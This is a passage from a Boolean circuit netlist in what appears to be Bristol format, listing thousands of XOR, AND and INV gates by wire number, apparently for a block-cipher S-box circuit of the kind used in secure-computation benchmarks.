19647 XOR +2 1 33702 19517 19646 XOR +2 1 19646 33702 19632 AND +2 1 33727 33728 12472 XOR +2 1 12472 12544 12542 XOR +2 1 33727 33729 12454 XOR +2 1 12454 12417 12539 XOR +2 1 12548 12539 12526 AND +2 1 12454 12549 12541 XOR +2 1 33726 12541 12540 XOR +2 1 12542 12540 12533 AND +2 1 33728 12454 12456 XOR +2 1 12461 12456 12537 XOR +2 1 33732 12456 12538 XOR +2 1 12549 12538 12528 AND +2 1 12528 12456 12458 XOR +2 1 33731 12456 12535 XOR +2 1 12550 12535 12531 AND +2 1 12527 12528 12430 XOR +2 1 12544 12537 12529 AND +2 1 12531 12455 12459 XOR +2 1 12527 12533 12479 XOR +2 1 12526 12529 12480 XOR +2 1 12459 12480 12433 XOR +2 1 12433 12458 12523 XOR +2 1 33727 12547 12543 XOR +2 1 12547 12543 12530 AND +2 1 12527 12480 12474 XOR +2 1 12430 12431 12478 XOR +2 1 12478 12459 12477 XOR +2 1 12530 12477 12524 XOR +2 1 12530 12474 12429 XOR +2 1 33727 12429 12517 XOR +2 1 6672 6644 35129 XOR +2 1 35129 958 33703 XOR +2 1 33703 33705 19555 XOR +2 1 33704 19555 19557 XOR +2 1 33708 19557 19638 XOR +2 1 33707 19557 19635 XOR +2 1 19562 19557 19637 XOR +2 1 33703 19647 19643 XOR +2 1 19555 19649 19641 XOR +2 1 33702 19641 19640 XOR +2 1 33703 33704 19572 XOR +2 1 19572 19644 19642 XOR +2 1 19649 19572 19645 XOR +2 1 19555 19518 19639 XOR +2 1 33709 33703 19650 XOR +2 1 19641 19645 19634 AND +2 1 19634 19558 19561 XOR +2 1 19642 19640 19633 AND +2 1 19627 19633 19579 XOR +2 1 19650 19635 19631 AND +2 1 19631 19556 19560 XOR +2 1 19647 19643 19630 AND +2 1 19644 19637 19629 AND +2 1 19649 19638 19628 AND +2 1 19628 19557 19559 XOR +2 1 19561 19559 19565 XOR +2 1 33709 19565 19570 XOR +2 1 19579 19570 19625 XOR +2 1 19627 19628 19531 XOR +2 1 19531 19532 19578 XOR +2 1 19578 19560 19577 XOR +2 1 19630 19577 19624 XOR +2 1 19648 19639 19626 AND +2 1 19626 19629 19580 XOR +2 1 19626 19632 19584 XOR +2 1 19584 19556 19571 XOR +2 1 19579 19571 19622 XOR +2 1 19627 19580 19574 XOR +2 1 19560 19580 19534 XOR +2 1 19534 19559 19623 XOR +2 1 19565 19584 19533 XOR +2 1 33707 19533 19576 XOR +2 1 19630 19574 19530 XOR +2 1 33703 19530 19617 XOR +2 1 19625 19624 19621 AND +2 1 19621 19576 19616 XOR +2 1 19621 19623 19620 XOR +2 1 19622 19620 19619 AND +2 1 19619 19576 19618 XOR +2 1 19619 19631 19525 XOR +2 1 19525 19561 19521 XOR +2 1 33709 19521 19524 XOR +2 1 19619 19570 19522 XOR +2 1 33707 19521 19520 XOR +2 1 19616 19617 19615 AND +2 1 19615 19623 19614 XOR +2 1 19621 19615 19613 XOR +2 1 19615 19574 19529 XOR +2 1 19615 19632 19528 XOR +2 1 19528 19629 19523 XOR +2 1 19523 19524 19606 XOR +2 1 19623 19613 19612 AND +2 1 19612 19620 19610 XOR +2 1 19612 19630 19583 XOR +2 1 19583 19577 19604 XOR +2 1 33703 19583 19566 XOR +2 1 19566 19529 19611 XOR +2 1 19618 19610 19609 AND +2 1 19609 19579 19569 XOR +2 1 19569 19571 19608 XOR +2 1 19609 19633 19527 XOR +2 1 19566 19527 19519 XOR +2 1 19556 19519 19526 XOR +2 1 19523 19526 19607 XOR +2 1 19569 19522 19605 XOR +2 1 19519 19520 19603 XOR +2 1 19604 19641 19602 AND +2 1 19611 19640 19601 AND +2 1 19614 33702 19600 AND +2 1 19600 19602 19582 XOR +2 1 19605 19635 19599 AND +2 1 19608 19647 19598 AND +2 1 19618 19637 19597 AND +2 1 19597 19598 19536 XOR +2 1 19606 19638 19596 AND +2 1 19603 19636 19595 AND +2 1 19595 19598 19551 XOR +1 1 19551 19548 INV +2 1 19595 19596 19547 XOR +2 1 19607 19639 19594 AND +2 1 19604 19645 19593 AND +2 1 19611 19642 19592 AND +2 1 19614 19646 19591 AND +2 1 19605 19650 19590 AND +2 1 19590 19594 19567 XOR +2 1 19599 19590 19552 XOR +1 1 19567 19545 INV +2 1 19608 19643 19589 AND +2 1 19597 19589 19554 XOR +2 1 19618 19644 19588 AND +2 1 19545 19588 19544 XOR +2 1 19544 19582 19540 XOR +2 1 19606 19649 19587 AND +2 1 19587 19540 19543 XOR +2 1 19603 19651 19586 AND +2 1 19586 19587 19581 XOR +2 1 19592 19581 19563 XOR +2 1 19593 19563 19564 XOR +2 1 19601 19564 19568 XOR +2 1 19602 19568 19573 XOR +2 1 19554 19581 19550 XOR +2 1 19582 19550 19553 XOR +2 1 19552 19553 19655 XOR +2 1 19545 19550 19549 XOR +2 1 19548 19549 19654 XOR +2 1 19573 19547 19653 XOR +2 1 19563 19540 19539 XOR +2 1 19600 19568 19537 XOR +2 1 19536 19537 35414 XOR +2 1 19607 19648 19585 AND +2 1 19596 19585 19546 XOR +1 1 19546 19542 INV +2 1 19542 19543 19652 XOR +2 1 12526 12532 12484 XOR +2 1 12484 12455 12471 XOR +2 1 12479 12471 12522 XOR +2 1 12549 12472 12545 XOR +2 1 12541 12545 12534 AND +2 1 12534 12457 12460 XOR +2 1 14177 14178 32655 XOR +2 1 14174 32655 14154 XOR +2 1 14170 14154 14120 XOR +2 1 14175 14154 14114 XOR +2 1 14143 14114 35461 XOR +1 1 14120 14117 INV +2 1 14117 14118 35458 XOR +2 1 32655 14152 35460 XOR +2 1 35460 35459 6885 XOR +2 1 16540 16541 32672 XOR +2 1 32672 16515 35399 XOR +2 1 16537 32672 16517 XOR +2 1 16533 16517 16483 XOR +1 1 16483 16480 INV +2 1 16480 16481 35397 XOR +2 1 16538 16517 16477 XOR +2 1 16506 16477 35402 XOR +2 1 19598 19599 32694 XOR +2 1 19595 32694 19575 XOR +2 1 19596 19575 19535 XOR +2 1 19564 19535 35416 XOR +2 1 19591 19575 19541 XOR +1 1 19541 19538 INV +2 1 19538 19539 35413 XOR +2 1 32694 19573 35415 XOR +1 1 14232 32877 INV +1 1 14233 32878 INV +1 1 14234 32879 INV +1 1 14231 32884 INV +2 1 32877 32884 7034 XOR +1 1 14929 32893 INV +2 1 32893 6495 35104 XOR +2 1 35104 983 33678 XOR +2 1 18125 32893 6347 XOR +2 1 6346 6347 6680 XOR +2 1 6680 6625 35097 XOR +2 1 35097 990 33671 XOR +2 1 33671 33673 14412 XOR +2 1 32893 32943 6632 XOR +2 1 6632 6625 6493 XOR +2 1 6632 6591 6471 XOR +2 1 32901 6471 35120 XOR +2 1 6632 6599 6481 XOR +2 1 33026 6481 35112 XOR +2 1 35120 967 33694 XOR +2 1 35112 975 33686 XOR +1 1 14926 32898 INV +2 1 32898 6485 35109 XOR +2 1 33031 32898 6502 XOR +2 1 6501 6502 35102 XOR +2 1 35109 978 33683 XOR +2 1 35102 985 33676 XOR +2 1 33674 33676 14415 XOR +2 1 33670 33676 14419 XOR +2 1 33675 14419 14504 XOR +2 1 33671 14504 14500 XOR +2 1 14415 33675 14374 XOR +2 1 33670 14374 14503 XOR +2 1 14503 33670 14489 AND +2 1 14504 14500 14487 AND +2 1 32898 32941 6616 XOR +2 1 6616 33031 6477 XOR +1 1 6477 6475 INV +2 1 6475 6476 35117 XOR +2 1 6616 6612 6458 XOR +2 1 32906 6458 35125 XOR +2 1 35117 970 33691 XOR +2 1 33691 33693 14274 XOR +2 1 14274 14369 14354 XOR +2 1 14369 14354 14345 AND +2 1 35125 962 33699 XOR +2 1 33699 33701 6728 XOR +2 1 6728 6824 6809 XOR +2 1 6824 6809 6800 AND +1 1 14927 32899 INV +2 1 32899 6457 35126 XOR +2 1 35215 32899 6483 XOR +2 1 6482 6483 35111 XOR +2 1 35126 961 33700 XOR +2 1 33694 33700 6734 XOR +2 1 35111 976 33685 XOR +2 1 6728 6734 6817 XOR +2 1 33698 33700 6730 XOR +2 1 6730 6728 6690 XOR +2 1 6730 33699 6689 XOR +2 1 33694 6689 6819 XOR +2 1 6819 33694 6805 AND +2 1 33699 6734 6820 XOR +2 1 32899 33032 6610 XOR +2 1 6610 32906 6473 XOR +2 1 6473 6474 35118 XOR +2 1 6610 6591 6500 XOR +2 1 35220 6500 35103 XOR +2 1 6616 6610 6484 XOR +2 1 32907 6484 35110 XOR +2 1 35118 969 33692 XOR +2 1 33690 33692 14276 XOR +2 1 33686 33692 14280 XOR +2 1 14274 14280 14362 XOR +2 1 33691 14280 14365 XOR +2 1 14276 14274 14236 XOR +2 1 14276 33691 14235 XOR +2 1 33686 14235 14364 XOR +2 1 14364 33686 14350 AND +2 1 35103 984 33677 XOR +2 1 33675 33677 14413 XOR +2 1 33674 33677 14506 XOR +2 1 14413 14419 14501 XOR +2 1 14412 14506 14498 XOR +2 1 33670 14498 14497 XOR +2 1 14415 14413 14375 XOR +2 1 14412 14375 14496 XOR +2 1 33677 33671 14507 XOR +2 1 35110 977 33684 XOR +2 1 33683 33685 31844 XOR +2 1 33678 33684 31850 XOR +2 1 31844 31850 31932 XOR +2 1 33683 31850 31935 XOR +1 1 14928 32900 INV +2 1 35217 32900 6506 XOR +2 1 6505 6506 35098 XOR +2 1 35098 989 33672 XOR +2 1 33672 14412 14414 XOR +2 1 33676 14414 14495 XOR +2 1 33675 14414 14492 XOR +2 1 14419 14414 14494 XOR +2 1 33671 33672 14429 XOR +2 1 14429 14501 14499 XOR +2 1 14506 14429 14502 XOR +2 1 33672 33674 14508 XOR +2 1 14413 14508 14493 XOR +2 1 33673 33672 14389 XOR +2 1 33677 33672 14505 XOR +2 1 14498 14502 14491 AND +2 1 14491 14415 14418 XOR +2 1 14499 14497 14490 AND +2 1 14507 14492 14488 AND +2 1 14488 14413 14417 XOR +2 1 14501 14494 14486 AND +2 1 14506 14495 14485 AND +2 1 14485 14414 14416 XOR +2 1 14418 14416 14422 XOR +2 1 33677 14422 14427 XOR +2 1 14508 14493 14484 AND +2 1 14484 14490 14436 XOR +2 1 14436 14427 14482 XOR +2 1 14484 14485 14388 XOR +2 1 14388 14389 14435 XOR +2 1 14435 14417 14434 XOR +2 1 14487 14434 14481 XOR +2 1 14505 14496 14483 AND +2 1 14483 14486 14437 XOR +2 1 14483 14489 14441 XOR +2 1 14441 14413 14428 XOR +2 1 14436 14428 14479 XOR +2 1 14484 14437 14431 XOR +2 1 14417 14437 14391 XOR +2 1 14391 14416 14480 XOR +2 1 14422 14441 14390 XOR +2 1 33675 14390 14433 XOR +2 1 14487 14431 14387 XOR +2 1 33671 14387 14474 XOR +2 1 14482 14481 14478 AND +2 1 14478 14433 14473 XOR +2 1 14478 14480 14477 XOR +2 1 14479 14477 14476 AND +2 1 14476 14433 14475 XOR +2 1 14476 14488 14382 XOR +2 1 14382 14418 14378 XOR +2 1 33677 14378 14381 XOR +2 1 14476 14427 14379 XOR +2 1 33675 14378 14377 XOR +2 1 14473 14474 14472 AND +2 1 14472 14480 14471 XOR +2 1 14478 14472 14470 XOR +2 1 14472 14431 14386 XOR +2 1 14472 14489 14385 XOR +2 1 14385 14486 14380 XOR +2 1 14380 14381 14463 XOR +2 1 14480 14470 14469 AND +2 1 14469 14477 14467 XOR +2 1 14469 14487 14440 XOR +2 1 14440 14434 14461 XOR +2 1 33671 14440 14423 XOR +2 1 14423 14386 14468 XOR +2 1 14475 14467 14466 AND +2 1 14466 14436 14426 XOR +2 1 14426 14428 14465 XOR +2 1 14466 14490 14384 XOR +2 1 14423 14384 14376 XOR +2 1 14413 14376 14383 XOR +2 1 14380 14383 14464 XOR +2 1 14426 14379 14462 XOR +2 1 14376 14377 14460 XOR +2 1 14461 14498 14459 AND +2 1 14468 14497 14458 AND +2 1 14471 33670 14457 AND +2 1 14457 14459 14439 XOR +2 1 14462 14492 14456 AND +2 1 14465 14504 14455 AND +2 1 14475 14494 14454 AND +2 1 14454 14455 14393 XOR +2 1 14463 14495 14453 AND +2 1 14460 14493 14452 AND +2 1 14452 14455 14408 XOR +1 1 14408 14405 INV +2 1 14452 14453 14404 XOR +2 1 14464 14496 14451 AND +2 1 14461 14502 14450 AND +2 1 14468 14499 14449 AND +2 1 14471 14503 14448 AND +2 1 14462 14507 14447 AND +2 1 14447 14451 14424 XOR +2 1 14456 14447 14409 XOR +1 1 14424 14402 INV +2 1 14465 14500 14446 AND +2 1 14454 14446 14411 XOR +2 1 14475 14501 14445 AND +2 1 14402 14445 14401 XOR +2 1 14401 14439 14397 XOR +2 1 14463 14506 14444 AND +2 1 14444 14397 14400 XOR +2 1 14460 14508 14443 AND +2 1 14443 14444 14438 XOR +2 1 14449 14438 14420 XOR +2 1 14450 14420 14421 XOR +2 1 14458 14421 14425 XOR +2 1 14459 14425 14430 XOR +2 1 14411 14438 14407 XOR +2 1 14439 14407 14410 XOR +2 1 14409 14410 14512 XOR +2 1 14402 14407 14406 XOR +2 1 14405 14406 14511 XOR +2 1 14430 14404 14510 XOR +2 1 14420 14397 14396 XOR +2 1 14457 14425 14394 XOR +2 1 14393 14394 35394 XOR +2 1 14464 14505 14442 AND +2 1 14453 14442 14403 XOR +1 1 14403 14399 INV +2 1 14399 14400 14509 XOR +2 1 35394 35398 7149 XOR +1 1 7149 7031 INV +2 1 32900 35216 6631 XOR +2 1 6631 6622 6491 XOR +2 1 35212 6491 35106 XOR +2 1 6631 6629 6469 XOR +2 1 6469 6470 35121 XOR +2 1 35121 966 33695 XOR +2 1 33695 33697 6727 XOR +2 1 6727 6690 6812 XOR +2 1 6821 6812 6799 AND +2 1 33701 33695 6823 XOR +2 1 6727 6822 6814 XOR +2 1 33695 6820 6816 XOR +2 1 6820 6816 6803 AND +2 1 33696 6727 6729 XOR +2 1 33699 6729 6808 XOR +2 1 6823 6808 6804 AND +2 1 6734 6729 6810 XOR +2 1 6817 6810 6802 AND +2 1 6804 6728 6732 XOR +2 1 33700 6729 6811 XOR +2 1 6822 6811 6801 AND +2 1 6801 6729 6731 XOR +2 1 6800 6801 6703 XOR +2 1 6703 6704 6750 XOR +2 1 6799 6802 6752 XOR +2 1 6800 6752 6746 XOR +2 1 6803 6746 6702 XOR +2 1 33695 6702 6790 XOR +2 1 6732 6752 6706 XOR +2 1 6706 6731 6796 XOR +2 1 6750 6732 6749 XOR +2 1 6803 6749 6797 XOR +2 1 35106 981 33680 XOR +2 1 6675 6631 35113 XOR +2 1 35113 974 33687 XOR +2 1 33687 33689 14273 XOR +2 1 33688 14273 14275 XOR +2 1 33692 14275 14356 XOR +2 1 33691 14275 14353 XOR +2 1 14280 14275 14355 XOR +2 1 33687 14365 14361 XOR +2 1 14273 14367 14359 XOR +2 1 33686 14359 14358 XOR +2 1 33687 33688 14290 XOR +2 1 14290 14362 14360 XOR +2 1 14367 14290 14363 XOR +2 1 14273 14236 14357 XOR +2 1 33693 33687 14368 XOR +2 1 14359 14363 14352 AND +2 1 14352 14276 14279 XOR +2 1 14360 14358 14351 AND +2 1 14345 14351 14297 XOR +2 1 14368 14353 14349 AND +2 1 14349 14274 14278 XOR +2 1 14365 14361 14348 AND +2 1 14362 14355 14347 AND +2 1 14367 14356 14346 AND +2 1 14346 14275 14277 XOR +2 1 14279 14277 14283 XOR +2 1 33693 14283 14288 XOR +2 1 14297 14288 14343 XOR +2 1 14345 14346 14249 XOR +2 1 14249 14250 14296 XOR +2 1 14296 14278 14295 XOR +2 1 14348 14295 14342 XOR +2 1 14366 14357 14344 AND +2 1 14344 14347 14298 XOR +2 1 14344 14350 14302 XOR +2 1 14302 14274 14289 XOR +2 1 14297 14289 14340 XOR +2 1 14345 14298 14292 XOR +2 1 14278 14298 14252 XOR +2 1 14252 14277 14341 XOR +2 1 14283 14302 14251 XOR +2 1 33691 14251 14294 XOR +2 1 14348 14292 14248 XOR +2 1 33687 14248 14335 XOR +2 1 14343 14342 14339 AND +2 1 14339 14294 14334 XOR +2 1 14339 14341 14338 XOR +2 1 14340 14338 14337 AND +2 1 14337 14294 14336 XOR +2 1 14337 14349 14243 XOR +2 1 14243 14279 14239 XOR +2 1 33693 14239 14242 XOR +2 1 14337 14288 14240 XOR +2 1 33691 14239 14238 XOR +2 1 14334 14335 14333 AND +2 1 14333 14341 14332 XOR +2 1 14339 14333 14331 XOR +2 1 14333 14292 14247 XOR +2 1 14333 14350 14246 XOR +2 1 14246 14347 14241 XOR +2 1 14241 14242 14324 XOR +2 1 14341 14331 14330 AND +2 1 14330 14338 14328 XOR +2 1 14330 14348 14301 XOR +2 1 14301 14295 14322 XOR +2 1 33687 14301 14284 XOR +2 1 14284 14247 14329 XOR +2 1 14336 14328 14327 AND +2 1 14327 14297 14287 XOR +2 1 14287 14289 14326 XOR +2 1 14327 14351 14245 XOR +2 1 14284 14245 14237 XOR +2 1 14274 14237 14244 XOR +2 1 14241 14244 14325 XOR +2 1 14287 14240 14323 XOR +2 1 14237 14238 14321 XOR +2 1 14322 14359 14320 AND +2 1 14329 14358 14319 AND +2 1 14332 33686 14318 AND +2 1 14318 14320 14300 XOR +2 1 14323 14353 14317 AND +2 1 14326 14365 14316 AND +2 1 14336 14355 14315 AND +2 1 14315 14316 14254 XOR +2 1 14324 14356 14314 AND +2 1 14321 14354 14313 AND +2 1 14313 14316 14269 XOR +1 1 14269 14266 INV +2 1 14313 14314 14265 XOR +2 1 14325 14357 14312 AND +2 1 14322 14363 14311 AND +2 1 14329 14360 14310 AND +2 1 14332 14364 14309 AND +2 1 14323 14368 14308 AND +2 1 14308 14312 14285 XOR +2 1 14317 14308 14270 XOR +1 1 14285 14263 INV +2 1 14326 14361 14307 AND +2 1 14315 14307 14272 XOR +2 1 14336 14362 14306 AND +2 1 14263 14306 14262 XOR +2 1 14262 14300 14258 XOR +2 1 14324 14367 14305 AND +2 1 14305 14258 14261 XOR +2 1 14321 14369 14304 AND +2 1 14304 14305 14299 XOR +2 1 14310 14299 14281 XOR +2 1 14311 14281 14282 XOR +2 1 14319 14282 14286 XOR +2 1 14320 14286 14291 XOR +2 1 14272 14299 14268 XOR +2 1 14300 14268 14271 XOR +2 1 14270 14271 14373 XOR +2 1 14263 14268 14267 XOR +2 1 14266 14267 14372 XOR +2 1 14291 14265 14371 XOR +2 1 14281 14258 14257 XOR +2 1 14318 14286 14255 XOR +2 1 14254 14255 35442 XOR +2 1 14325 14366 14303 AND +2 1 14314 14303 14264 XOR +1 1 14264 14260 INV +2 1 14260 14261 14370 XOR +2 1 33694 6814 6813 XOR +2 1 6799 6805 6756 XOR +2 1 6756 6728 6743 XOR +2 1 33695 33696 6744 XOR +2 1 6822 6744 6818 XOR +2 1 6814 6818 6807 AND +2 1 6744 6817 6815 XOR +2 1 6815 6813 6806 AND +2 1 6800 6806 6751 XOR +2 1 6751 6743 6795 XOR +2 1 6807 6730 6733 XOR +2 1 6733 6731 6737 XOR +2 1 6737 6756 6705 XOR +2 1 33699 6705 6748 XOR +2 1 33701 6737 6742 XOR +2 1 6751 6742 6798 XOR +2 1 6798 6797 6794 AND +2 1 6794 6796 6793 XOR +2 1 6795 6793 6792 AND +2 1 6792 6742 6694 XOR +2 1 6792 6804 6697 XOR +2 1 6697 6733 6693 XOR +2 1 33701 6693 6696 XOR +2 1 33699 6693 6692 XOR +2 1 6792 6748 6791 XOR +2 1 6791 6817 6761 AND +2 1 6791 6810 6770 AND +2 1 6794 6748 6789 XOR +2 1 6789 6790 6788 AND +2 1 6788 6805 6700 XOR +2 1 6700 6802 6695 XOR +2 1 6695 6696 6779 XOR +2 1 6779 6822 6760 AND +2 1 6779 6811 6769 AND +2 1 6794 6788 6786 XOR +2 1 6796 6786 6785 AND +2 1 6785 6803 6755 XOR +2 1 6755 6749 6777 XOR +2 1 6777 6818 6766 AND +2 1 6777 6814 6775 AND +2 1 33695 6755 6738 XOR +2 1 6785 6793 6783 XOR +2 1 6791 6783 6782 AND +2 1 6782 6806 6699 XOR +2 1 6738 6699 6691 XOR +2 1 6728 6691 6698 XOR +2 1 6695 6698 6780 XOR +2 1 6780 6812 6767 AND +2 1 6691 6692 6776 XOR +2 1 6776 6824 6759 AND +2 1 6780 6821 6758 AND +2 1 6769 6758 6718 XOR +2 1 6759 6760 6753 XOR +1 1 6718 6714 INV +2 1 6788 6746 6701 XOR +2 1 6738 6701 6784 XOR +2 1 6784 6815 6765 AND +2 1 6784 6813 6774 AND +2 1 6765 6753 6735 XOR +2 1 6766 6735 6736 XOR +2 1 6774 6736 6740 XOR +2 1 6775 6740 6745 XOR +2 1 6776 6809 6768 AND +2 1 6788 6796 6787 XOR +2 1 6787 6819 6764 AND +2 1 6787 33694 6773 AND +2 1 6773 6740 6709 XOR +2 1 6773 6775 6754 XOR +2 1 6782 6751 6741 XOR +2 1 6741 6694 6778 XOR +2 1 6778 6823 6763 AND +2 1 6778 6808 6772 AND +2 1 6772 6763 6724 XOR +2 1 6763 6767 6739 XOR +1 1 6739 6717 INV +2 1 6717 6761 6716 XOR +2 1 6716 6754 6712 XOR +2 1 6760 6712 6715 XOR +2 1 6714 6715 6825 XOR +2 1 6735 6712 6711 XOR +2 1 6741 6743 6781 XOR +2 1 6781 6816 6762 AND +2 1 6781 6820 6771 AND +2 1 6770 6762 6726 XOR +2 1 6771 6772 6757 XOR +2 1 6757 6745 35428 XOR +2 1 6768 6757 6747 XOR +2 1 6769 6747 6707 XOR +2 1 6736 6707 35429 XOR +2 1 35416 35429 7091 XOR +2 1 6764 6747 6713 XOR +1 1 6713 6710 INV +2 1 6710 6711 35426 XOR +2 1 6726 6753 6722 XOR +2 1 6770 6771 6708 XOR +2 1 6708 6709 35427 XOR +2 1 6754 6722 6725 XOR +2 1 6724 6725 6828 XOR +1 1 7091 6837 INV +2 1 7091 35427 6841 XOR +2 1 6837 35426 6838 XOR +2 1 6768 6771 6723 XOR +1 1 6723 6720 INV +2 1 6717 6722 6721 XOR +2 1 6720 6721 6827 XOR +2 1 6768 6769 6719 XOR +2 1 6745 6719 6826 XOR +2 1 33685 33680 31936 XOR +2 1 14316 14317 32656 XOR +2 1 14313 32656 14293 XOR +2 1 14314 14293 14253 XOR +2 1 14282 14253 35444 XOR +2 1 14309 14293 14259 XOR +1 1 14259 14256 INV +2 1 14256 14257 35441 XOR +2 1 32656 14291 35443 XOR +2 1 14455 14456 32657 XOR +2 1 14452 32657 14432 XOR +2 1 14448 14432 14398 XOR +2 1 14453 14432 14392 XOR +2 1 14421 14392 35396 XOR +2 1 35396 35402 7085 XOR +2 1 7085 35394 6874 XOR +1 1 14398 14395 INV +2 1 14395 14396 35393 XOR +2 1 35393 35397 6875 XOR +2 1 6874 6875 7154 XOR +2 1 32657 14430 35395 XOR +2 1 35395 35399 7140 XOR +1 1 6827 32787 INV +1 1 6828 32788 INV +2 1 6837 32788 6835 XOR +1 1 6825 32789 INV +1 1 6826 32790 INV +1 1 14371 32881 INV +1 1 14372 32882 INV +1 1 14373 32883 INV +1 1 14510 32885 INV +2 1 32885 35401 7135 XOR +1 1 14511 32886 INV +1 1 14512 32887 INV +1 1 14370 32888 INV +1 1 14509 32892 INV +2 1 32892 35400 7137 XOR +1 1 16597 32921 INV +1 1 16596 32928 INV +1 1 19653 32961 INV +2 1 35416 32961 6972 XOR +2 1 32961 32790 7100 XOR +1 1 19654 32962 INV +1 1 19655 32963 INV +1 1 19652 32968 INV +2 1 32789 32968 6992 XOR +2 1 12460 12458 12464 XOR +2 1 33733 12464 12470 XOR +2 1 12479 12470 12525 XOR +2 1 12525 12524 12521 AND +2 1 12464 12484 12432 XOR +2 1 33731 12432 12476 XOR +2 1 12521 12476 12516 XOR +2 1 12516 12517 12515 AND +2 1 12515 12523 12514 XOR +2 1 12521 12515 12513 XOR +2 1 12523 12513 12512 AND +2 1 12521 12523 12520 XOR +2 1 12522 12520 12519 AND +2 1 12519 12470 12421 XOR +2 1 12512 12520 12510 XOR +2 1 12519 12531 12424 XOR +2 1 12424 12460 12420 XOR +2 1 33731 12420 12419 XOR +2 1 33733 12420 12423 XOR +2 1 12519 12476 12518 XOR +2 1 12512 12530 12483 XOR +2 1 12483 12477 12504 XOR +2 1 12504 12541 12502 AND +2 1 12515 12474 12428 XOR +2 1 12518 12510 12509 AND +2 1 12509 12479 12469 XOR +2 1 12469 12421 12505 XOR +2 1 12469 12471 12508 XOR +2 1 33727 12483 12465 XOR +2 1 12505 12535 12499 AND +2 1 12508 12547 12498 AND +2 1 12498 12499 12467 XOR +2 1 12514 33726 12500 AND +2 1 12500 12502 12482 XOR +2 1 12465 12428 12511 XOR +2 1 12511 12540 12501 AND +2 1 12508 12543 12489 AND +2 1 12514 12546 12491 AND +2 1 12518 12537 12497 AND +2 1 12497 12498 12435 XOR +2 1 12497 12489 12453 XOR +2 1 12515 12532 12427 XOR +2 1 12427 12529 12422 XOR +2 1 12422 12423 12506 XOR +2 1 12506 12549 12487 AND +2 1 12506 12538 12496 AND +2 1 12504 12545 12493 AND +2 1 12511 12542 12492 AND +2 1 12505 12550 12490 AND +2 1 12499 12490 12451 XOR +2 1 12518 12544 12488 AND +2 1 12509 12533 12426 XOR +2 1 12465 12426 12418 XOR +2 1 12418 12419 12503 XOR +2 1 12455 12418 12425 XOR +2 1 12422 12425 12507 XOR +2 1 12503 12536 12495 AND +2 1 12495 12496 12446 XOR +2 1 12495 12467 12475 XOR +2 1 12491 12475 12440 XOR +1 1 12440 12437 INV +2 1 12496 12475 12434 XOR +2 1 12503 12551 12486 AND +2 1 12486 12487 12481 XOR +2 1 12453 12481 12449 XOR +2 1 12492 12481 12462 XOR +2 1 12482 12449 12452 XOR +2 1 12451 12452 12555 XOR +2 1 12507 12548 12485 AND +2 1 12496 12485 12445 XOR +1 1 12445 12441 INV +2 1 12507 12539 12494 AND +2 1 12490 12494 12466 XOR +1 1 12466 12444 INV +2 1 12444 12449 12448 XOR +2 1 12444 12488 12443 XOR +2 1 12443 12482 12439 XOR +2 1 12462 12439 12438 XOR +2 1 12437 12438 35445 XOR +2 1 35441 35445 7130 XOR +1 1 7130 6942 INV +2 1 12487 12439 12442 XOR +2 1 12441 12442 12552 XOR +2 1 12493 12462 12463 XOR +2 1 12501 12463 12468 XOR +2 1 12500 12468 12436 XOR +2 1 12502 12468 12473 XOR +2 1 12473 12446 12553 XOR +2 1 12467 12473 35447 XOR +2 1 35443 35447 7111 XOR +2 1 12435 12436 35446 XOR +2 1 35442 35446 7120 XOR +2 1 12463 12434 35448 XOR +2 1 35444 35448 7080 XOR +2 1 12495 12498 12450 XOR +1 1 12555 32860 INV +2 1 32883 32860 7142 XOR +1 1 12552 32863 INV +2 1 32888 32863 7105 XOR +2 1 7105 35447 6939 XOR +1 1 6939 6937 INV +1 1 12553 32864 INV +2 1 32881 32864 7094 XOR +2 1 7094 32863 6932 XOR +2 1 7080 32864 6929 XOR +1 1 12450 12447 INV +2 1 12447 12448 12554 XOR +1 1 12554 32859 INV +2 1 32882 32859 7134 XOR +2 1 6942 32859 6940 XOR +1 1 24524 33053 INV +2 1 32945 33053 6613 XOR +2 1 6613 6605 6545 XOR +1 1 6613 6584 INV +2 1 6584 32783 6582 XOR +1 1 24525 33054 INV +2 1 33054 33053 6544 XOR +2 1 33054 32946 6555 XOR +2 1 33054 32784 6611 XOR +2 1 6611 32945 6566 XOR +1 1 24526 33055 INV +2 1 33055 32947 6562 XOR +2 1 6684 33055 6551 XOR +2 1 33055 32785 6618 XOR +1 1 24527 33056 INV +2 1 33056 32948 6341 XOR +2 1 6340 6341 6683 XOR +2 1 33056 32786 6638 XOR +1 1 5828 33239 INV +2 1 33239 35006 5623 XOR +2 1 5623 5624 5896 XOR +2 1 33239 32986 5660 XOR +2 1 5660 5661 34870 XOR +2 1 34870 376 33517 XOR +2 1 33515 33517 20112 XOR +2 1 20112 20207 20192 XOR +2 1 33514 33517 20205 XOR +2 1 20205 20128 20201 XOR +2 1 20112 20118 20200 XOR +2 1 20128 20200 20198 XOR +2 1 20111 20205 20197 XOR +2 1 33510 20197 20196 XOR +2 1 20114 20112 20074 XOR +2 1 20111 20074 20195 XOR +2 1 33517 33511 20206 XOR +2 1 33517 33512 20204 XOR +2 1 20197 20201 20190 AND +2 1 20190 20114 20117 XOR +2 1 20198 20196 20189 AND +2 1 20206 20191 20187 AND +2 1 20187 20112 20116 XOR +2 1 20200 20193 20185 AND +2 1 20205 20194 20184 AND +2 1 20184 20113 20115 XOR +2 1 20117 20115 20121 XOR +2 1 33517 20121 20126 XOR +2 1 20207 20192 20183 AND +2 1 20183 20189 20135 XOR +2 1 20135 20126 20181 XOR +2 1 20183 20184 20087 XOR +2 1 20087 20088 20134 XOR +2 1 20134 20116 20133 XOR +2 1 20186 20133 20180 XOR +2 1 20204 20195 20182 AND +2 1 20182 20185 20136 XOR +2 1 20182 20188 20140 XOR +2 1 20140 20112 20127 XOR +2 1 20135 20127 20178 XOR +2 1 20183 20136 20130 XOR +2 1 20116 20136 20090 XOR +2 1 20090 20115 20179 XOR +2 1 20121 20140 20089 XOR +2 1 33515 20089 20132 XOR +2 1 20186 20130 20086 XOR +2 1 33511 20086 20173 XOR +2 1 20181 20180 20177 AND +2 1 20177 20132 20172 XOR +2 1 20177 20179 20176 XOR +2 1 20178 20176 20175 AND +2 1 20175 20132 20174 XOR +2 1 20175 20187 20081 XOR +2 1 20081 20117 20077 XOR +2 1 33517 20077 20080 XOR +2 1 20175 20126 20078 XOR +2 1 33515 20077 20076 XOR +2 1 20172 20173 20171 AND +2 1 20171 20179 20170 XOR +2 1 20177 20171 20169 XOR +2 1 20171 20130 20085 XOR +2 1 20171 20188 20084 XOR +2 1 20084 20185 20079 XOR +2 1 20079 20080 20162 XOR +2 1 20179 20169 20168 AND +2 1 20168 20176 20166 XOR +2 1 20168 20186 20139 